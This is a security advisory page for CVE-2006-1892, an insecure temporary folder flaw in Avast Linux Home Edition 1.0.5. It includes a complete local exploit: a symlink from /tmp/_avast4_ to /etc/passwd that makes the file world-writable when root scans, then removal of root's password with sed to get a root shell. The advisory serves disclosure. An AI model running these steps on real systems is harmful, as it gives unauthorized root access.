SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Avast Linux Home Edition (vulnerability on a temporary folder creation)


Arrow  SecurityAlert : 764
Arrow  CVE : CVE-2006-1892
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Julien L. (jlanthea hotmail com)
Arrow  Published : 23.04.2006

Arrow  Affected Software : Avast Linux Home Edition



Arrow  Advisory Content :  

Title : Avast Linux Home Edition, vulnerability on a temporary folder
creation
Protuct : Avast! Linux Home Edition
Product : http://www.avast.com/eng/download-avast-for-linux-edition.html
Version : 1.0.5, 1.0.5-1
avast4workstation-1.0.5-1.i586.rpm
avast4workstation-1.0.5.tar.gz
Vuln Found : 2006-04-14 (tested on RedHat Entreprise 4 Update 3).

Introduction :
--------------
Avast Linux Home Edition represents an antivirus solution for the Linux
platform.
When it scans for virus, it creates a temporary directory in /tmp in an
insecure
manner and gives it an chmod equal to 1777.

Exploit :
---------
$ ls -l /etc/passwd
-rw-r--r-- 1 root root 1476 avr 14 15:30 /etc/passwd
$ ln -s /etc/passwd /tmp/_avast4_
$ ll /tmp/_avast4_
lrwxrwxrwx 1 user user 11 avr 14 16:43 /tmp/_avast4_ -> /etc/passwd
...
Waiting for user root to scan for virus (example: # avast -d /bin)
...
$ ls -l /etc/passwd
-rwxrwxrwt 1 root root 1476 avr 14 15:55 /etc/passwd (Oops!)
$ sed s/^root:x:/root::/ /etc/passwd > /tmp/a.out
$ cat /tmp/a.out > /etc/passwd
$ su -
# id
uid=0(root) gid=0(root)
groupes=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

Note :
------
When the root user is launching avast for the first time, the "_avast4_"
folder
is not erased when virus scan is finished, so it may be difficult for a
user
to create
the symbolic link. But we must not forget that distribs usualy clean there
/tmp folder
via the tmpwatch utility.

Regards,
Julian L.





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.